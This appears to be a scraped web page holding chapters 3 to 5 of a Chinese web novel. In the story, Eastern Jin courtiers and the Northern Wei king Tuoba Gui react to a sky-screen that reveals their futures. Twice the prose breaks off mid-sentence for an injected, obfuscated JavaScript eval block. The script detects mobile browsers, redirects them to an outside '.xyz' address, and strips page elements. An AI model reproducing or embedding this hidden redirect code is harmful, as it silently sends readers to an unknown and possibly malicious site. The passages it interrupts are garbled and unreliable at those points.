《天幕剧透我谋朝篡位》 3. 003 一方,是太后与会稽王司马道子。 一方,便是太子、太子妃,以及二皇子。 司马道子忍不住暗骂了一声,为何兄长当年要成全姐姐司马道福的愿望,强行逼迫琅琊王氏的大才子王献之与妻子郗道茂和离,将司马道福嫁给王献之,才有了今日的王神爱。 东晋皇室从东渡定都到重建王朝,都离不开琅琊王氏的相助,甚至于在民间都有了一种传言,叫做“王与马共天下”。 王,是世家琅琊王氏的王。 马,是司马氏的马。 就像此刻,同时出自琅琊王氏与皇室的太子妃王神爱,就要比他身边的太后李陵容说话有分量得多。 …… 也因为,她话说得有理。 司马道子侧耳去听,便能听见人群中的议论。 “……陛下的死都被天幕说中了。” “这等神迹,怎么看也不像是什么恶作剧。” “若是天幕所言不虚的话,二皇子也会成为皇帝,谁知道是不是那位永安大帝。” “是极是极。” 司马道子还能代替已死的司马曜独揽大权呢,二皇子再长上几岁,怎么就不能挟那傻子皇兄,干出一番大事? 听来都觉合情合理。 虽然此刻,他还抓着王神爱的衣袖,活像是个没断奶的孩子,若没有表姐顶在前面,怕是连抬头去看天幕的勇气都没有。 反倒是那位虽有恐惧仍挺直了腰板的太子妃,看起来更像个人物。 但司马氏当年能结束三国分立,成为最后的胜利者,谁又知道,二皇子会不会也只是需要时间来打磨,迟早也能独当一面呢? 先将人接到此地,保卫他的安全,无疑很有必要。 司马道子牙关紧咬,明知此刻王神爱的发难是让他的处境雪上加霜,仍是气力一松,隐约后退了一步。 王神爱那只藏在衣袖中的手,也终于缓缓地松开。 夜风吹过带着薄汗的掌心,泛起了一层冷意。 她穿越之前,也只是个普通的打工人,最多就是多看了几本史书,忽然莫名其妙地穿越,还是穿到这个以荒诞著称的时代,简直是天降灾祸。 现在还多出了一个天幕,宣告着这个时代,又多出了额外的变数。 乱世之中,就算是个家世寻常的平民都要操心未来,更别说是她所处的位置。 若是条件允许的话,她真想干脆和张贵人一般,直接发疯算了,能创死一个是一个。 可她还想活下去,也想看看有没有回去的可能,就得抓住每一个机会。 幸好,这第一步,看起来她是走对了。 在须臾的对峙间,天幕的过场动画也已放到了尾声。 北方的铁骑沉沉覆压而来,南方正值生死存亡,也不敢稍有懈怠。 饶是众人都知道这场战役的结果,仍旧在这样的图景面前喘不过气。 再加上太子妃和会稽王的对峙,更显殿前局势紧张。 倒是天幕的声音依然平稳。 【司马曜这个皇帝死得如此不体面,却得到了孝武这个谥号,就是因为这场战役。当然,打仗这种事情,和他这个皇帝没什么关系,全靠他运气好,在位期间连续刷新出了几个保皇党,还都是能人。】 【琅琊王氏就不提了,东晋皇室都是被他们扶上去的,没必要跟司马氏对着干。要不是后来被永安大帝举起屠刀,连杀了大半,估计还能平稳交接到下一个朝代,继续当他们的顶级名流世家。】 征虏将军王珣恰在现场,骤然听到这样一句,不由瞳孔一震,险些将手中的佩剑松开落地。 啊?什么叫做永安大帝举起屠刀,把琅琊王氏杀了大半? 这说的是人话? 作为王氏如今在朝堂上的代表人物,王珣不仅有那个征虏将军的名号,还担任着尚书左仆射的官职,又挂名着太子詹事的职位,与未来皇帝的命运联系在一起。 如果说王神爱是琅琊王氏与司马氏在后宫沟通的桥梁,那么他王珣就是前朝的领袖。 这句天幕的剧透,对他来说尤为重要。 可这天幕上的神仙显然不打算偏题,现在就将琅琊王氏的命运给他解说一二,已继续说了下去。 【另外的两个关键人物,一个叫桓冲,一个叫谢安。】 【司马曜继位的时候,东晋皇室的皇权已经到了摇摇欲坠的时候,时任大司马的桓温明确表露了不臣之心,随时能取而代之。反正司马氏能背叛他们曾经的陛下当皇帝,桓家为什么不行呢?】 【可桓家出现了桓冲这个异类,他虽然出身桓氏,却只想做皇室的纯臣,并不想谋逆,在桓温被拖死之后,更是将手中的一部分军权移交给了谢安,与他配合完成了东晋对北方的防线。】 【淝水之战中,桓冲守着荆州,将桓氏所有的异议全部压了下来,主动从西线、中线率先北伐,牵制住了北方的大量秦军,给谢安和谢玄争取到了从东线反击的机会。】 【这是一场前所未有的配合。最终的结果,是大秦天王苻坚意图一鼓作气吞并东晋,却在淝水之战中惨败,投鞭断流的梦想破灭,不得不仓皇逃走,手下的各方部族也都趁此机会发起了反叛,就连他本人也在两年后被叛将杀死。】 【这一战,注定要记载在东晋史册最为辉煌的一页上。他们不仅达成了以少胜多的辉煌战绩,保全了岌岌可危的疆土,还在谢安与谢玄的带领下,一举将南北分界线,从原本的长江淮河一带,向北推进到了黄河。若是东晋国力再昌盛一些,兴复中原、还于旧都的梦想,或许没有那么遥远。】 【但很可惜,就在这个时候,桓冲死了,原本能作为桓氏与司马氏之间缓冲的桥梁断了。】 【谢安也死了。他原本准备和谢玄一起稳守黄河防线,等到北方内乱结束,各自消耗掉实力之后,再图谋继续北上。然而他的身体已经支持不住了,在被迫折返后不久,就病死了。】 【他在世的时候,致力于平衡皇室与世家门阀的权力,出于忠诚,他在死前做出了一个极其错误的决定——他要将手中的权力交还给皇室。】 天幕之上的皇宫里歌舞升平。 外面陈郡谢氏的白幡高挂,丝毫也没有影响到此地欢愉的气氛。 虽然那个端坐在上首的人,和现在停在殿中的尸体长得并不一样,但谁都能看得出,这正是代表着司马曜。 他与身着王爷服饰的男人把酒同乐,惬意地赏阅着建康歌舞,在宴席之上,随意地就将谢安交上来的权力移交给了会稽王司马道子。 司马道子接过权力,乐呵呵地找上了自己的同党,制定了接下来的计划。 天幕的语气都冷了下来。【这司马道子很快,就以征战太久作为借口,将谢玄从前线调了回来。谢玄但凡真有不臣之心,有将在外君命有所不从的底气,就应该拒不交兵,继续坐镇北方。但他没有,而是从前线返回,交出了兵权,在悲愤之下染病而亡,死时,年仅四十六岁。】 天幕之下已是一片沉默。 当年作为谢氏掌权人与门阀代表的谢安、谢玄,怀揣着收复北方的想法走上了战场,和桓氏的合作也趋于正轨,却因主事之人过世,后方有人添乱,终于功败垂成。 在今日的得过且过中,依然有人在遗憾当年。更有仁人志士,痛恨自己当年为何没有多争取一下,帮助谢氏抗衡来自朝廷的阻力。 国仇家恨面前,司马曜过世的惶恐,甚至在这一刻都消失无踪。 【要我说,司马曜应该挨三巴掌,司马道子更是十巴掌都不够。】 【也难怪永安大帝刚刚掌权不久,就设计擒拿、然后下令车裂了司马道子,把他和他的附庸杀了个干干净净,就为了防止后方还有人下绊子,影响将来的北伐大业。对此我只想说——干得漂亮!】 “……!”司马道子脸色木然,一瞬不眨地盯着天幕,希冀于自己听到的只是个错觉。 但他早已全神贯注地盯着上头的信息,又怎么可能听错! 他听到的噩耗,就是天幕说的事情。 他不仅已明确了,自己并不是那个能够平定天下的永安大帝,反而是那个混蛋的眼中钉肉中刺。 “……这家伙是杀星转世吗?”司马道子咬牙低语。 琅琊王氏这样的顶级门阀也杀,他这个皇室要员更是得了车裂的下场,这样的人凭什么得到旁人的拥戴,坐稳天下共主的位置! 他必须尽快找出对方的身份,以保全自己的性命。 别管他做了什么,他一个当朝皇帝的亲弟弟,难道还不能做些自己想要做的事吗? 更何况,从世家门阀手里收回皇权,原本就是历代东晋君主的夙愿,别以为他不知道,皇兄表面上沉迷酒色,实际上在将权力交给他的时候,就已经希望看到这一幕。 哪里只是他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14990361|161537||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的问题!他也只能算是顺势而为罢了。 总算他还有几分仅剩的威严,怒视着周遭,将那些打量的视线都给瞪了回去。 但征虏将军王珣眼尖地留意到,沉沉夜色包裹的这片明光中,司马道子握紧了自己手中的宝剑。他平日里养尊处优的皮肉早已松弛,依靠着这样的紧绷,方才显示出一点青筋凸起的发力。 天幕还一点都没有放过司马道子的意思。 【有人就要说了,世家大族的权力太大没什么好处,司马道子做的有些事情出发点是对的。我只想说,建议他不要出发。】 【他总领军事,担任徐州、扬州刺史后,不仅将自己的封户改到了五万九千户,以皇帝之下第一人自居,还重用王国宝、赵牙、茹千秋这些奸佞小人,鱼肉百姓,无恶不为。】 【司马曜过世,傻子皇帝司马德宗继位后,司马道子做事越来越肆无忌惮,终于酿成了大祸!】 【昔日由谢安、谢玄等人主领的北府军,本应当在对峙北方戎狄的战场上大显身手,却在傻子皇帝继承皇位的第二年,被派遣去迎战讨伐宗室作乱的臣子,在第三年,更是被派遣去镇压打出五斗米教旗号的农民起义。】 【这就是当时的宗室干出的好事。说这一段历史是黎明之前的黑暗,真是一点也不为过!】 也就是司马德宗是个傻子,根本听不明白天幕之上的东西,才对于“登基第二年大臣反叛,登基第三年农民起义”毫无知觉。 听出这其中意义的宫人与朝臣,看向那位会稽王的眼神又是一变,里面也多出了默契的仇视。 难怪天幕会说,司马道子比起傻子还不是个东西! 这样德不配位的人,有什么资格去主持朝政! 若那位将来要平定天下的永安大帝杀了他,竟只能说是肃清秩序、为民除害,哪里是什么滥用车裂刑罚的严酷之人。 …… 王珣忽然觉得自己的后腰被人戳了戳。 他连忙收回了看向司马道子的目光,转头就见一个矮个子的宫人不知道何时来到了他的身后。 见他转回了头来,宫人连忙伸手指了指一个方向。 王珣快速扫视了一圈周遭,见众人都已因天幕的消息全看向了司马道子这个“罪人”,当即快步朝着那头走去,停在了王神爱的身旁。 对于这位太子妃,王珣的观感着实复杂。 虽说她也得算是琅琊王氏的重要人物,但王家上下大概不会有人忘记,当年风华绝代的王献之为了躲开公主的追求,不惜将自己的腿脚弄成了残疾,还是没能阻止天子诏令威逼和离,公主下嫁。 王献之更是在短短几年后,就抑郁而终。 他死的时候,王神爱还不足三岁。 但在今日揭露了王氏未来的危机后,王珣又不得不承认,王神爱今日的表现,对得起她的身份,也和琅琊王氏乃是一条绳上的蚂蚱。 他躬身低语:“太子妃有何事吩咐?” 王神爱拢着身上的外披,稚气的眉眼秀美依旧,一双眼睛却在乍看的平静之下,充满了暗流涌动。 她用只有两人能听到的声音发问:“族叔,你是朝廷的征虏将军,也是我琅琊王氏的中流砥柱,敢问——你如今手中有多少兵马?” 王珣眼帘一动,迟疑了片刻。“您问这个做什么?” 王神爱轻声细语:“我先前让人去宫外接来二皇子的时候,专程留意过,这天幕看似只在皇宫之上,在宫外也能如常看见。司马道子倒行逆施之事披露于人前,甚至是天下百姓之前,却绝不会坐以待毙。您觉得,他最可能寻求谁的合作?” 王珣不是个蠢人,当即意识到了王神爱话中的意思。 无论是因为司马氏与王氏的关系,还是天幕中透露出的“受害者名单”,司马道子的首选合作对象,都是王氏! 可只要王珣的脑子正常,就不会觉得,他有何可取之处。 偏偏此刻,最有处决司马道子资格的那个人,已变成了冰冷的尸体躺在殿上,他的继承人还是个傻子。 他们不得不和司马道子打这个交道。 既然如此—— 王神爱蹙眉凝眸,单薄的身体在夜风中更显瘦弱,说出的话却由不得王珣不听。 “和蠢人难有合作。与其被他拖下水,连累得更糟,倒不如先将他除掉,换回一点民心。或许……或许也正是琅琊王氏的保命契机。” 4. 004 听到“保命”二字,王珣的眉心便不由一抖,“你已相信天幕所言为真?” “算不上相信与否,只是就事论事。”王神爱回他,“人人都知,若说陈郡谢氏讲求芝兰玉树、生于庭阶,是清净无为,任其繁盛,我琅琊王氏便是狡兔三窟、善处兴废,非要周全通达,八方结交。” “若有人代司马氏称王,谢氏或许能够保全下来,王氏却未必。” “倘若,这新君嫉恶如仇,赏罚分明,有清平天下之志,我看琅琊王氏的历来行事,大约并不讨好。族叔以为呢?” 王珣:“……” 见他久久未有回应,王神爱清了清喉咙,些微提高了一点音量,“——族叔?” 王珣如梦初醒,应了一声,“是……你这话说得在理。” 不知道算不算是巧合,王神爱提到的“善处兴废”四字,被旁人用来形容琅琊王氏的一位重要人物。 此人与从兄一并,扶持司马睿登上东晋皇帝的宝座,一生立功无数,在死后得到了“文献”的谥号,葬礼规模也与霍光等同,名为王导。 也是,王珣的祖父。 王珣入仕后,为了尽快崭露头角,曾在大司马桓温帐下效力,为他处理营中军机要务。桓温死后,他辗转平叛作战,得到了司马曜的赏识一路高升,以处变圆滑的手段站稳了脚跟,说是在脾性上与祖父相似也并不为过。 王神爱的一句话看似只在分析王氏的未来,却又何尝不是痛击他的要害! 圆润油滑的态度,在有些时候是好事,在有些时候……比如这一看就是天下有变的时候,却未必了。 遇上一位杀性重,或者疑心病重的君主,更是灾难。 王珣想到这里,又多看了王神爱一眼。 她轻淡如水墨的眉眼,像极了她的父亲王献之。也不免让他想到,昔年家中着火,旁人都已急急忙忙地逃了出去,倒是王献之神色坦然,不慌不忙地喊来了仆人,从容走出,引为士林美谈。 但她办事之果决,又分明更像她那个……若有想要便势必得到的母亲。 “族叔,”王神爱加重了一点语气,提醒道,“给你犹豫的时间可没有那么多。” 王珣转头,就见司马道子已将心腹传唤到了面前。 司马道子俨然已经意识到了,若是他不想如天幕预言所说的那样,被那位永安大帝五马分尸,他就必须尽快自救。 哪怕因为天幕的影响,他的威望已遭到了空前的削减,他也绝不能就这样坐以待毙! 他是上一位天子的弟弟,司马氏的会稽王,不是什么人的鱼肉! 司马道子本就不算个蠢人,在生死存亡的危机面前,脑子转得比平时还要快多了。 他朝着心腹吩咐:“传讯堂邑太守、魏郡太守,再将骠骑谘议参军找来。” 天幕中提到,他重用奸佞,放任手下的王国宝、赵牙、茹千秋等人为祸,若是他遭到了处决,这些人也决计讨不了好。 得尽快通知他们。 这三人中,王国宝虽是谢安的女婿,却因品行不端,深受谢安厌恶,为了功名投靠到了他的门下。 赵牙原本是个唱戏的优伶,茹千秋原本是个抓捕盗贼的小吏,因为深谙贿赂的门道,讨得他的欢心,才在朝廷里做了大官。 他们三个只能依靠于他,现在也理当和他站在一边,对抗那未知的风险。 愚民里,也势必有人弄不明白天幕在说什么,会因为他那摄政大臣的身份,听从他的指挥。 这,便是他对抗天幕预言的底气。 还有…… 他直到此时才将天幕梳理了一番,意识到了另外一路可能的同盟者,在人群中找起了一个人的踪影。 不! 或许,用“可能的同盟者”来形容他,还没那么恰当。 那些听他指挥的鹰犬,充其量就是他用来保命的挡箭牌,这位,才是他若想打一场翻身仗的真正助力。 王珣家世不凡,又是武将,虽未站在明灯照耀之下,仍比一般人看起来出挑醒目得多。 司马道子忍不住又在心中骂骂咧咧了一阵,只因他瞧见,他那意味深长、充满友好的一眼,竟抛给了一个瞎子看! 王珣早已从王神爱的身边离开,退回了原地,此刻“聚精会神”地看着天幕,仿佛唯恐错过其中的任何一条消息。 【概括一下此时的永安大帝,在己方阵营里,真就没什么能看的。】 【荒唐被杀的昏君,痴傻无能的接替者,祸国乱民的宗室,野心勃勃的世家,窃取军权的尼僧,待价而沽的军队,还有一个破碎又无奈的永安大帝……噗,原谅我用一下破碎这个词。】 【有研究过永安大帝历史的朋友们应该都知道,早年间出土过一卷永安大帝的手札,据说是永安早年间的日记,一共三十七篇,其中有二十篇的结尾是——我要裂开了。】 【可以说是很绝望了。】 司马道子沉浸着思考要如何拉拢王珣,显然不能理解到这句话里的信息,王神爱却是眼神一震。 她越发可以确定,这位创下丰功伟业的永安大帝,应当正如她先前的其中一个揣测,是一位从后世而来的穿越者! 只是不知道,对方此时到底是什么身份,才能走到“挟天子”的这一步上。 这并不容易办到。 但就算在这条推测上,有了一个相对明确的答案,王神爱依然不敢掉以轻心,徒然等待天幕告知对方的身份。 她想活命,只能依托于仅有的信息与此刻的身份,行动得比别人更快。 不能指望别人向着她伸手。 “表姐……”司马德文讷讷开口。 “怎么了?”王神爱压下了眼中的风起云涌,努力摆出了一副“慈祥和蔼”的长姐面貌。 以司马德文的年龄,还远不能理解何为变脸。 面对这道近在咫尺的目光,他低头看了一会儿脚尖,憋出了一句话,“我……我想去看看父亲。” “先再等等好吗?”王神爱指了指一旁的傻太子,“长幼有序,你皇兄拜祭过了父皇后,你才能过去。” “可是——” 可是司马德文觉得,兄长一点都没有要上前去拜祭的意思啊! 他都不一定理解父亲已经死了这件事。 宫人倒是尽职尽责,还为那恼人的傻太子端上了夜宵。 他便将那披风往地上一铺,坐在了上头,大快朵颐了起来。 有食物填塞肚腹,司马德宗的耐心又重新找了回来,饶有兴致地听着天幕上的神仙叽里呱啦。 顺便欣赏一番,天幕下的人哭的哭笑的笑,还有一众呆若木鸡,是何等模样。 怎么看,都比平时有趣得多。 要是司马曜能看到这一幕,估计得被气活过来。 但反正,让这傻儿子当太子是他自己的选择,也没什么好怪别人的。 司马德文沉默了片刻,也只能选择接受现实,瑟缩着站在了一边。 王神爱应付完了这兄弟俩,捏了捏指尖,强行驱散了脑海中本就不多的困意,认真地捕捉着天幕上的每一句话。 只因这紧随而来的,依然不是一个好消息。 【可在这个时期,危机并不仅仅来自于境内。黎明之前的黑暗,包裹的是对永安大帝来说的整片华夏大陆。真正的危险,还在北方。】 【大秦天王苻坚南下侵略的美梦,被桓冲、谢安与谢玄联手击碎,前秦政权四分五裂。热闹的事情就来了——】 【他一度掳掠为男宠的慕容冲举兵反叛,登基称帝后攻破长安。】 【他的部将、羌族首领姚苌将其杀死,而后称帝。】 【他的部将、前燕宗室慕容垂逃回故地,复国称王。】 【鲜卑贵族首领拓跋珪也趁机复国称王。】 【……】 天幕的地图上,五颜六色的图块相继亮起,互相倾轧,有的甚至以极快的速度消失。 【人人都主打一个信条——只要胆子大,就敢当皇帝。如果当不了皇帝,那就当个王。】 【经由十几年的北方混战,最终剩下了由姚苌建立的后秦,由慕容垂建立的后燕,以及由拓跋珪建立的北魏。】 【当然,在那个时期,他们还是各自称呼自己为秦国、燕国和魏国,带上南方的晋国,分布于甘陇地带的西秦与凉国,姑且可以上演一出简略版的六国争霸。】 【这其中最值得注意的,或者说唯一值得注意的胜利者,就是魏国和它的建立者拓跋珪。】 【让我们记住这个名字。】 【在永安大帝的日志中有这样的一句话:当年建立晋朝的司马氏,是从曹魏的手里夺得了大权,现在,有一个也叫魏王的家伙前来讨债,成为南方朝廷最大的对手,谁能说这不是一种宿命呢?】 【曹操泉下有知,也应该觉得欣慰,说不定就跟刘邦听说有匈奴人给自己取国名叫汉一样欣慰。】 天幕之下,一根原本在轻叩座椅的手指,忽然停了下来。 手指的主人生着一张典型的鲜卑人面容。 十年的魏王生涯,让这张因风吹日晒而稍显沧桑的面容,有着一股不怒自威的气度。 哪怕魏王拓跋珪今年,也才只有二十六岁。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995259|161537||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他眼皮轻掀,黑沉的眼神里,闪过了鹰隼一般的锐利。“崔卿,这不是一句夸奖吧?” 被点名的崔宏愣在了当场:“……啊。” 这话他没法接。 魏国乃是名副其实的番邦政权,但他这个黄门侍郎,却是中原地区清河崔氏的名门正宗,曹魏司空崔林的六世孙,是刚刚被拓跋珪抢来的臣子。 若论对文学的研究,他远在拓跋珪之上,当然听得出,这话绝对在内涵。 ——虽然好像是把两边一起骂进去了。 这一点也不像个自称“要裂开碎掉”的人会说的话。 他抹了把头上的冷汗,“起码这天幕说,您是北方最重要的人物。若是让我来说的话,魏国也比代国这个名字,更适合于今日的拓跋氏。” 拓跋珪冷笑了一声,“呵!我若因这句话而自满,岂不是也意味着,要我相信,将来会有一位永安大帝自南向北打,将我给剿灭了?” 他绝不相信这个! 在这奇怪的天幕出现之前,他才刚赢下一场格外重要的战事。 正如天幕所说的那样—— 【在拓跋珪崛起之前,谁也没想到,这个临时在草原上成立的小国,居然能在一位十六岁的君主手中走向昌盛。】 【最开始,拓跋珪和他的魏国,一直依靠着更为强大的燕国给他们提供支持。慕容垂这个慈善投资人,还让自己的儿子援助拓跋珪击败了高车、贺兰等部落,劫掠来了大批战马牛羊,让北魏一跃成为塞外的头号势力。】 【直到北魏建国的十年之后,慕容垂才终于感觉到不对了。拓跋珪对外征战,对内统筹,发展农耕,学习汉制,制订礼仪,齐民编户,全都做得极其出彩,根本不像一个十几二十岁的年轻人应有的表现。他以铁血手腕,拖着身后的拓跋氏鲜卑,从塞外一步步走入了中原。】 【于是为了遏制拓跋珪扩张的趋势,慕容垂派出了自己的儿子慕容宝,率领大军进攻北魏。】 【可问题来了,北魏——它是一个游牧民族组成的国家。慕容宝虽然有那么一点领兵的经验,不算是单纯地出门送人头,但他竟然带着大军,花了三个月的时间,都没找到拓跋珪的主力。这么一折腾,直接闹到了军心不稳的地步,只能选择退兵。】 【拓跋珪可早就等着这个时候了,趁着对方掉头,直接亲自率领精兵追击。】 【这一战的结果无需多说,慕容宝带来的兵将全部葬身在了参合陂,慕容宝则一个人骑着战马逃了回去。】 【幸好,燕国还算有点家底,儿子打输了,还可以召唤父亲来复仇。慕容垂也很对得起他那百战之将的名声,秘密出兵凿开太行山道,直逼北魏的平城。精兵良将袭来,北魏守城将领被诛杀,城中三万兵马也被燕国收编。】 【拓跋珪损兵折将,险些就要众叛亲离了,结果就在这个时候,年过七十的慕容垂病死了,不仅给了拓跋珪以喘息的机会,更是被这位枭雄找到了趁势反击的机会。】 【随后的掉头反击,更是彻底改变了北魏和后燕的命运,为北魏统一北方拉开了序幕,直到他对着南方露出了狰狞的獠牙。】 拓跋珪一边听,脸上的笑容一边慢慢地展开。 这天幕所说的三场战争,都发生在这两年之间,又因他几乎都是亲自征战,大多发生在他的眼前。 没有人比他更能体会到那种天命所归的强大气运,助力他明明一度丢掉了平城,又重新坐在了这里。 慕容垂这个对手的死去,更是为他一步步吞并燕国预备了条件。 然而也正是在这时,他忽然听到天幕说道: 【永安大帝不止一次和大将军感慨,没能亲自北上杀死拓跋珪,将他和他制定的某些陋习一起踩在脚下,他就已经死在了自己儿子的手里,简直是人生最大的遗憾。】 【但谁也不能否认,在司马曜过世的当下,南方的士人还沉浸在作诗题字的风雅中,北方的强敌却已经展露出了霸主的锋芒,对于有心强国的永安大帝来说,就是一个天大的阻碍……】 拓跋珪“腾”地一下站了起来。 他颊侧的肌肉紧绷了一瞬,一句话脱口而出:“来人,去把拓跋嗣和拓跋绍带到我面前来!” 拓跋嗣是他的长子,今年五岁,拓跋绍则是他的次子,今年三岁。 也是他到如今仅有的两个儿子。 眼见下方随从迟疑着缓步移动,拓跋珪转头就朝着某个发出声音的方向喝道:“崔卿,你在嘀咕些什么东西!” 崔宏又想抹冷汗了:“您刚才说,自己不信这个的……” 啊,所以怎么现在又信了呢? 5. 005 “事涉生死,无论信与不信,总要将危险扼杀的。” 拓跋珪摆了摆手,眼中的决绝一览无余。 扈从哪里还敢再有犹豫,前去请人的脚步就差没直接跑起来。 这位魏国大王执政十年间杀伐无数,威望甚高。昔日被燕国威逼的阴影,也已经彻底从魏国的头上抹去。 毫无疑问,只要击败慕容宝的残部,拓跋珪便有从称王向称帝迈出一步的机会。 别说只是将两个王子带到他的面前,疑似要提前处决了—— 昔日他将自己的亲弟弟派遣出使,被敌军扣留,导致王太后担忧儿子生死、忧郁而死,相当于是逼死了自己的母亲,不是也没人胆敢议论半分吗? 崔宏本就是降臣,是因魏国有意草创典章制度才留在此地,更没什么可说的。 随驾的两位夫人和她们的儿子,便用最快的速度被带到了御前。 五岁的拓跋嗣被母亲牵在手里,身旁那位衣着华贵的妇人脚步轻快,神色飞扬,正是王宫中执掌内政的刘夫人。 还没等拓跋珪开口,她已胆大地迎了上去,“大王不会真信了这天幕中所言吧?阿嗣固然年幼,已看得出是个孝顺孩子,只会如我兄长一般为大王征东征南,哪会做出不利于大王的事。” 拓跋珪洞察敏锐,怎会看不到,刘夫人看似明媚的笑容之下,是她握住拓跋嗣的那只手,远比平日里用力得多。 鬓角也有一点濡湿,并不只是因为赶路匆匆所致。 她在恐惧,却不敢真表现出来。 拓跋珪一把揽住了她的肩膀,低眸看了眼自己的长子,“他若有你半分胆量,我说不定还真能相信,他将来敢干出弑父的举动。” 一听这话,刘夫人当即莞尔,推了推他的胸膛:“是您说的,让他启蒙识字时多学些儒家经典,怎么还怪上他了。” 拓跋珪不置可否,目光却已从长子拓跋嗣挪到了远处的另一对母子身上。 垂手而立的贺夫人已沉默地向他行了个礼,便再未出声。 但她就算一言未发,也美得像是一朵盛放的芙蕖,又因神情冷淡,恍若花枝在晨时着一层薄霜。 哪怕是今日,拓跋珪也毫不后悔,当年顶着母亲的劝阻,也要杀掉贺夫人的丈夫,将她抢入自己的帐中。 “你怎么看天幕上说的那句话?” 贺夫人缓缓抬眸,神情无悲无喜:“若我是您,必定要做两件事。” 这似乎又是一个让拓跋珪没有想到的答案,“说来听听。” 贺夫人答道:“杀了我与绍儿,对外宣称,我对王上逼死我姐姐、打散贺兰部落心怀有怨。绍儿不满三岁,我便已向他灌输复仇的想法,为大王所识破,只能一并处死。” “另一件,便是令刘夫人再铸金人,若能成功,即刻立为王后,将拓跋嗣定为王储。王上乃是欲谋天下之人,功绩也已因天幕传扬四海,万万不可无后,还请三思。” 刘夫人脸上的笑容都被震得凝固在了当场。 她无论如何也没想到,会从贺夫人的口中说出这样的一番话来。 贺夫人不仅是拓跋珪的嫔妃,也是拓跋珪的姨母。她说自己对姐姐之死心怀不满,说的正是那死去不满一年的太后。 这个理由当真站得住脚。 若是拓跋珪当真如她所说,先杀贺夫人与拓跋绍,再立刘夫人与拓跋嗣,不仅能即刻洗脱天幕的死亡预言,也依然保有长子作为继承人。 贺兰部早已被拓跋珪打服,除了投向燕国的少部分人外,余下的已不敢再有反叛之心,就算是杀了贺夫人与拓跋绍,也不会改变他们的立场。 这是最好的解决办法。 可这也意味着,她将杀死自己的刀,就这样递到了拓跋珪的手里。 拓跋珪松开了刘夫人肩头的那只手,大步走到了贺夫人的面前。哪怕是近距离间的四目相对,她的眼神也依然平静得不可思议。 在片刻的沉默后,拓跋珪吐出了一句话,“很可惜,你不是我。” 贺夫人也不必揣度他会怎么做。 他抬手吩咐,“将二位夫人和王子都送回去。” 这个“送回去”的说法,应当还有随后的控制与监视,但已足够让刘夫人的眼中闪过了欣喜若狂,与如释重负。 她抓着拓跋嗣的手,一步步地朝外走去,心中满是对贺夫人的感激。 若没有她那句置之死地的回应,谁也无法知道,拓跋珪最终会做出一个什么决定。 就像此刻,她明明已在向外走出,仍觉有一道锋利的目光,停在她牵着拓跋嗣的那只手上。 从崔宏的角度,倒是能看得更清楚一些。 拓跋珪素来酷烈的神情里,掺杂着一缕说不出的怀念。 若是崔宏未曾记错,拓跋珪年幼时随同母亲寄人篱下,还是在母亲的掩护下得以出逃,又借助着母族势力崛起。 可这份支持与柔情,在部落统一的博弈中没有任何一点必要。 无论是亲族还是母亲,都是他随时可以牺牲掉的东西。因为他绝不允许自己,被任何东西牵绊住手脚,多出一个弱点。 这种极端的行事风格,或许真会如同天幕所说,终有一日遭到反噬。 但现在,他只是又下达了一道命令:“处死慕容氏的俘虏,也包括……慕容夫人。” 贺娀的脚步一顿,方才继续往前走去。 数月前,拓跋珪趁着慕容垂病故发起反攻,夺回平城,俘虏了不少慕容氏的族人,其中也包括了慕容宝的女儿。 拓跋珪便将她纳入了后宫之中。 今日她选择了置之死地而后生,给自己争出了一条生路,却还是没能阻止拓跋珪举起屠刀,务必要给他自己一个交代。 她甚至不敢断定,拓跋珪今日的网开一面到底能持续多久。 “阿娘,你怎么哭了……” 贺娀连忙憋回了眼泪,又快速用衣袖在脸上擦拭了两下,故作镇定地朝着怀中的儿子回道:“不,现在还不是哭的时候。” 懵懂的稚童根本无法理解她此刻的心情。 在不必面对拓跋珪时,她先前平静的表象都已重新摇摇欲坠。 “……你父王刻薄寡恩,你我难有活路,我们还得想办法逃出去。” 天幕中说,南方会出一位永安大帝,在拓跋珪死后北上讨伐,荡平中原,或许,她的生路就在南方。 可出逃的机会,又在哪里呢? …… 【如果再将对霸主的定义放得宽松一些,这个时期的北方还有几位潜力股。】 【比如说,有人继承父亲遗志,先是依靠着秘不发丧,混淆敌军的判断,而后以大将军身份发起反击,又从羌人中选出了擅长军事的将领坐镇上邦,预备夺取陇西。】 【比如说,当年拓跋珪屠戮匈奴铁弗部,却漏掉了一个年幼的孩子,让这个孩子有机会凭借着自己的相貌,当了敌国大将的女婿,自此扶摇直上,在杀了自己的岳父后拥兵建国。】 【当然,这些都是后面的事情,姑且在此不予赘述。】 【毋庸置疑的是,匈奴、羌人、鲜卑、氐族都有尚武之风,这一阶段还陆续涌现了不少用兵奇才。这些人也早已不再满足于来中原劫掠一番,就回去继续逐水草而居,而是试图从中原的文化中,汲取到立足于此的力量,将国变成真正的国。】 【这就显得南方的权斗在这个时期下显得更为可笑!以永和士人为代表的东晋清谈风尚,也尤为不合时宜。】 【黎明之前,或许并不仅仅是永安大帝此时的处境,也是汉人统治下的国家所面对的处境。】 【能否打破黎明,从黑夜转入白昼,是一个天大的难题。】 【这就进入到了第二个篇章。】 天幕上的建康城图卷上打出了一行新的标题。 【制衡之时】。 …… 